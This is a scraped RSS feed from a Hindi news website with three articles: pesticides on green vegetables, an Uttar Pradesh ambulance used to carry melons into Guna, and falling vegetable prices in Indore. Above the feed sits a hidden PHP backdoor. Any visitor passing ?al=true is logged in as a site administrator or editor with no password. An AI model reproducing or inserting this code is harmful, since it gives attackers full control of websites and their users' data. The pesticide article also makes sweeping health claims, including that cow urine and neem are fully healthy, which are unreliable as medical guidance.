// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); vegetables – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 01 Aug 2025 03:37:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 हरी सब्जियों में जहर! कैंसर का खतरा बन रहीं थाली की ‘हेल्दी’ चीजें https://pratyushaashakinayikiran.com/?p=174701 Fri, 01 Aug 2025 03:37:00 +0000 https://pratyushaashakinayikiran.com/?p=174701 भोपाल 

स्वस्थ समझकर खा रहे हरी सब्जियों में छुपा हो सकता है कीटनाशकों का जहर! जानिए कैसे ये सब्जियां बन रही हैं बीमारियों की जड़ और क्या है इससे बचने का सही तरीका.

सर्दियों में जैसे ही पालक, मेथी, बथुआ और सरसों की बहार बाजार में आती है, लोग इन्हें विटामिन और आयरन से भरपूर सुपरफूड मानकर थालियों में सजाना शुरू कर देते हैं. लेकिन क्या आपने कभी सोचा है कि ये सब्जियां जिन खेतों से आती हैं, वहां क्या छिड़का जा रहा है?

रसायनों से भरी सब्जियां, स्वाद से पहले ज़हर
किसानों द्वारा तेजी से उत्पादन बढ़ाने और फसल को कीटों से बचाने के लिए सिस्टमिक कीटनाशकों का इस्तेमाल किया जाता है. ये रसायन सीधे पौधे की जड़ों और पत्तियों में समा जाते हैं. विशेषज्ञों का कहना है कि इनका असर सब्जियों से हटाने के लिए 7–10 दिन का समय देना चाहिए, लेकिन अधिकतर किसान इस निर्देश को नजरअंदाज करते हैं.

धीमा जहर: स्वास्थ्य पर घातक असर
डॉक्टर मनीष खेडेकर के अनुसार, लंबे समय तक ऐसे कीटनाशक खा लेने से शरीर पर गहरा असर होता है.

ब्लड प्रेशर, डायबिटीज जैसी बीमारियां पहले आती हैं

और बाद में कैंसर, किडनी व लिवर डैमेज जैसे घातक परिणाम सामने आते हैं

बच्चों और बुजुर्गों पर असर और भी तेज़ होता है

क्या करें? ये हैं सेफ्टी के उपाय
सब्जियों को धोएं, भिगोएं और फिर पकाएं

जहां संभव हो, जैविक खेती से आई सब्जियां खरीदें

खुद छोटे पैमाने पर किचन गार्डन या ऑर्गेनिक फार्मिंग अपनाएं

बाजार से आने वाली हरी पत्तेदार सब्जियों को नमक या सिरके के पानी में भिगोना असरदार हो सकता है

प्राकृतिक खेती ही एकमात्र सुरक्षित विकल्प
नीम का अर्क, गोमूत्र, जीवामृत, राख जैसे पुराने संसाधन न सिर्फ फसल को सुरक्षित रखते हैं, बल्कि मानव शरीर के लिए भी पूरी तरह सेहतमंद होते हैं. सरकारें भी अब प्राकृतिक खेती को बढ़ावा देने लगी हैं, लेकिन जब तक ग्राहक खुद जागरूक नहीं होंगे, बदलाव धीमा ही रहेगा.

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अशोकनगर : एंबुलेंस में मरीजों की जगह सब्जियां ढोई जा रही, फोटो सोशल मीडिया पर वायरल https://pratyushaashakinayikiran.com/?p=144073 Fri, 28 Mar 2025 09:26:00 +0000 https://pratyushaashakinayikiran.com/?p=144073 अशोकनगर

गुना में मरीजों की जगह खरबूजे लेकर पहुंची एम्बुलेंस… ये सुनकर आप भी हैरान होंगे कि आखिर ऐसा कैसे संभव है। ये मध्य प्रदेश के गुना जो एक बार फिर से सुर्खियों में है, लेकिन इस बार सरकारी संसाधनों के बेतहाशा दुरुपयोग और प्रशासनिक लापरवाही देखने को मिल रही है।

बता दें कि गुना में उत्तर प्रदेश की सरकारी एंबुलेंस को मरीजों के इलाज के लिए नहीं, बल्कि खरबूजे ढोने के लिए इस्तेमाल किया गया। सबसे चौंकाने वाली बात यह है कि इस एंबुलेंस पर कोई नंबर प्लेट नहीं थी, उत्तर प्रदेश गवर्नमेंट सॉफ तौर पर एंबुलेंस पर लिखा हुआ है। यानी कि यह उत्तर प्रदेश से चलकर गुना पहुंची है। इसे पहचान छिपाने के लिए पीले रंग के तिरपाल से भी इस दौरान ढंकने की कोशिश यहां की गई।

जब स्थानीय लोगों ने इस नजारे को देखा तो वे भी हैरान रह गए। दांतों तले उंगलियां दबा ली। गुना पुलिस ने भी शायद एंबुलेंस समझकर कोई कार्रवाई नहीं की। यहां पुलिस की कार्रवाई पर वही सवाल खड़े हो जाते हैं कि बिना नंबर प्लेट के एम्बुलेंस आखिर गुना की सड़कों पर क्यों दौड़ रही है। सड़कों पर दौड़ती इस एंबुलेंस को देखकर पहले तो लोगों को लगा कि कोई गंभीर मरीज अस्पताल ले जाया जा रहा होगा, लेकिन जब यह एंबुलेंस सीधे सब्जी मंडी आढ़त पहुंची, तो लोग चौंक गए। वहां पहले से मौजूद व्यापारी और ग्राहक भी उस वक्त अवाक रह गए, जब उन्होंने देखा कि मरीजों की जगह एंबुलेंस से खरबूजे उतारे जा रहे हैं और मंडी में मोल भाव कर बेचे जा रहे हैं।

इस दौरान कई लोगों ने इस पूरे मामले का वीडियो भी बना लिया और वीडियो वायरल होते ही मामला गरमाने लगा और मामले की पोल खुल गई। अब जरा इस पूरे घटनाक्रम को देखिए जिसने एक नहीं कई बड़े सवाल खड़े कर दिए हैं। कि क्या सरकारी संसाधनों का इतना बड़ा दुरुपयोग बिना किसी प्रशासनिक मिलीभगत के संभव हो सकता है? आपको बता दें गुना में यह पहली बार नहीं हुआ है जब सरकारी सेवाओं का गलत इस्तेमाल किया गया हो। कुछ दिन पहले ही एक मासूम की मौत इसलिए हो गई थी क्योंकि उसे समय पर एंबुलेंस नहीं मिली थी। तब भी प्रशासन चुप्पी साधे रहा था। दूसरी बार जब एंबुलेंस में ऑक्सीजन सिलेंडर खत्म हो जाने के बाद मासूम नाबालिक ने दम तोड़ दिया था। मामला गरमाया था। परिजनों ने शिकायत की थी।

एंबुलेंस से जुड़ा अब यह तीसरा मामला सामने आया है। जब एंबुलेंस को व्यावसायिक रूप से इस्तेमाल किया गया है, कई नियम तोड़े लेकिन कोई सख्त कार्रवाई नहीं की गई। गुना में पुलिस और प्रशासन ने अब तक इस मामले में कोई कार्रवाई नहीं की है।
सवाल कई हैं जिनके जवाब किसी के पास नहीं है। अगर यह एंबुलेंस यूपी से आई थी, तो उसे मध्य प्रदेश में प्रवेश कैसे मिल गया? क्या किसी चेकपोस्ट पर इसकी जांच नहीं हुई? बिना नंबर प्लेट वाली एंबुलेंस को शहर में घूमने की इजाजत किसने दी? इन सवालों के जवाब प्रशासन जबाब देने के लिए तैयार नहीं है।

 

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प्रदेश में हरी सब्जियों की दामों में आई गिरावट, टमाटर, आलू, हरा मटर समेत कई सब्जियों के दामों में आई कमी https://pratyushaashakinayikiran.com/?p=132063 Mon, 17 Feb 2025 12:46:00 +0000 https://pratyushaashakinayikiran.com/?p=132063 इंदौर
बेलगाम भागते सब्जियों के दामों पर अब लगाम कसनी शुरू हो गई है. मध्य प्रदेश के कई प्रमुख शहरों में सब्जियों के दामों में बड़ी गिरावट देखने मिल रही है. सब्जियों के दामों में कमी आम आदमी के लिए राहत लेकर आ रही है. पिछले 15 दिनों से इंदौर सब्जी मंडी में सब्जियों के भाव में गिरावट देखी जा रही है. ऐसा ही ट्रेंड मध्य प्रदेश के जबलपुर, ग्वालियर, रीवा, उज्जैन आदि जिलों में देखा जा रहा है. माना जा रहा है कि मार्च के अंत तक सब्जियों के दामों में ऐसी ही गिरावट देखी जाएगी.

15 दिनों से गिर रहा सब्जियों का रेट

इंदौर सहित मालवा के आसपास के क्षेत्रों से भारी मात्रा में हरी सब्जियां आती हैं लेकिन पिछले 15 दिनों से भाव में काफी गिरावट देखी जा रही है. इंदौर के सब्जी कारोबारी मनोज जोशी ने बताया, '' एक से डेढ़ महीने पहले हरा बटरा (हरा मटर) 50 रु प्रति किलो बिक रहा था, उसकी कीमत आज थोक मंडी में 15 रु किलो और रीटेल में 25 रु किलो बिक रहा है. इसी तरह से लंबे समय तक 50 से 100 रु प्रति किलो के बीच बिकने वाला टमाटर 10, 15 और 25 रु प्रति किलो के भाव में बिक रहा है.

आलू-भिंडी ने भी दी राहत, बढ़ेगा जायका

सब्जी कारोबारी मनोज जोशी ने आगे बताया, '' गिलकी जो तकरीबन 60-70 रुपए प्रति किलो बिक रही थी, उसके दाम में अचानक कमी आई है. गिलकी अब 25 से 30 रुपए प्रति किलो बिक रही हैय वहीं भिंडी, लौकी, बैगन के साथ हरी सब्जी-भाजी भी सस्ती हो गई हैं. सब्जियों का राजा आलू भी महज 15 से 20 रु प्रति किलो पर आ गया है.''
अचानक क्यों घटे सब्जियों के दाम?

सब्जी कारोबारी राजेंद्र कुमार रखबचंद्र जैन कहते हैं, '' किसान गर्मी के दिनों में अपने खेतों की सफाई करते हैं, जिसके चलते वह अपने खेतों में उगने वाली हरी सब्जी व अन्य अनाज पूरी तरह से बाजार में बेच देते हैं. इस कारण बाजार में सब्जियों की आवाक तेज हो जाती है, जिसके असर से दामों में कमी आई है. फिलहाल कुछ दिनों तक लोगों को ये राहत मिलेगी. मार्च तक जब किसान पूरी तरह से खेतों की सफाई कर लेंगे तब सब्जियों के दामों में फिर बढ़ोतरी देखने मिलेगी. मार्च के अंत में ऐसा देखने मिल सकता है.''

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